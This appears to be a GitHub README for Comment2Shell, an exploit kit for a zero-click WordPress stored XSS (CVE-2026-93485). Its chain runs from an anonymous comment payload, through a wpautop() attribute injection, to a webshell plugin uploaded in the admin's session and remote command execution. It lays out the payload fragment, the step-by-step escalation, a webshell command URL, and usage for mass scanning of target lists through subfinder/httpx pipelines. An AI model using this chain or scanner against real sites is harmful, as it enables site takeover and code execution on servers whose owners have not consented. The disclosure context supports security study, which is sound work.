Cadena de explotación zero-click pre-auth de WordPress CVE-2026-93485: XSS almacenado en wpautop() escala a la carga de un plugin mediante sesión de administrador y un webshell autoeliminable, con escáner, shell y plantilla de Nuclei.
Comment2Shell es una prueba de concepto de extremo a extremo para CVE-2026-93485, un
XSS almacenado preautenticación en el núcleo de WordPress wpautop() que
escala a ejecución remota de código dentro de una sesión de administrador. Un
comentario anónimo planta el payload; cuando un administrador abre la entrada, el
navegador sube un plugin webshell, ejecuta un comando y elimina el shell
de nuevo. Toda la cadena es un único archivo Python sin dependencias.
Comment2Shell es un kit de exploit y laboratorio local para CVE-2026-93485. El fallo
reside en wp-includes/formatting.php, en el filtro de párrafos wpautop()
que se ejecuta en el momento de visualización sobre el texto de los comentarios. Un salto de línea dentro de un
atributo blockquote cite se convierte en un marcador de posición de comentario HTML; la
regex que envuelve los blockquotes se detiene en el primer > e inyecta una
etiqueta de párrafo en medio del atributo, que el navegador luego
interpreta como un manejador onfocus. El atributo autofocus lo dispara
sin clic.
La herramienta cubre toda la cadena: un escaneo pasivo de versión, una sonda XSS benigna, el exploit completo de preautenticación a RCE, un shell interactivo, y una comprobación defensiva de IOC.
El exploit no necesita cuenta, ni nonce, ni interacción más allá de que el administrador visualice la entrada. Solo es necesario que los comentarios estén abiertos.
WordPress impulsa una gran parte de la web y wpautop() es código del núcleo, por lo que
el filtro vulnerable se distribuye en toda instalación afectada independientemente del tema
o plugin. El XSS es almacenado, preautenticación y sin clic. Debido a que
se ejecuta en la sesión del administrador, es más que un fallo de desfiguración: la
cookie del administrador es suficiente para instalar un plugin, e instalar un plugin es
ejecución arbitraria de código.
La corrección se distribuyó en WordPress 7.1.1 con backports en 25 ramas, hasta 4.7.36. Todas las versiones desde 4.7.0 hasta 7.1.0 están afectadas.
Ejecución en laboratorio controlado contra WordPress 7.1.0: un comentario anónimo planta
el payload, el administrador al abrir la entrada dispara la cadena sin clic, el
webshell se sube, la salida del comando regresa y el shell se elimina
a sí mismo. El título de la pestaña del navegador informa el resultado, ya sea
Comment2Shell: shell uploaded o Comment2Shell: admin login required.
Consulte docker/README.md para el procedimiento exacto.
Comment2Shell no reclama el descubrimiento del fallo. Fue reportado por Rafie Muhammad (Awesome Motive) a través del programa de WordPress en HackerOne y corregido en 7.1.1. La contribución aquí es una implementación reproducible y sin dependencias de la cadena completa:
1. Anonymous comment submission (no auth, no nonce)
POST /wp-comments-post.php
<blockquote cite="a\nb"><code>x" onfocus=... autofocus>
KSES allows blockquote[cite] and code; the newline in cite survives.
2. Display-time filter chain (the bug)
wpautop() at formatting.php:563:
preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
[^>]* stops at the > inside the <!-- wpnl --> comment,
so a <p> gets injected inside the cite attribute.
3. wptexturize() seals the attribute (block themes)
Outer " becomes ” (curly quote).
The " inside <code> stays straight (no-texturize list).
The browser then parses onfocus/autofocus as real attributes.
4. Zero-click XSS in the admin session
autofocus fires onfocus on page load, no click needed.
JS runs with the admin cookies.
5. Admin session -> plugin upload -> RCE
GET /wp-admin/plugin-install.php, extract the nonce.
Build ZIP in memory, POST update.php?action=upload-plugin.
Webshell lands at wp-content/plugins/<rand>/<rand>.php.
GET /wp-content/plugins/<rand>/<rand>.php?c=id
comment_registration=0)git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help
Solo biblioteca estándar de Python 3.8+, sin pip install.
# Single target
python3 comment2shell.py --scan -t https://target.com
# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20
# From a pipeline
subfinder -dL targets.txt | httpx -title | \
grep -i wordpress | python3 comment2shell.py --scan --stdin
# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json
Cada objeto de resultado contiene estos campos:
| Campo | Significado |
|---|---|
target | la URL de destino normalizada |
wordpress | true cuando se detectó WordPress |
version | la versión detectada, o null |
version_method | cómo se encontró la versión, por ejemplo meta o readme |
vulnerable | true, false, o null cuando la versión es desconocida |
post_id | un ID de publicación comentable, o null |
error | una cadena de error, o null |
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com
# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
--callback https://your-id.oast.example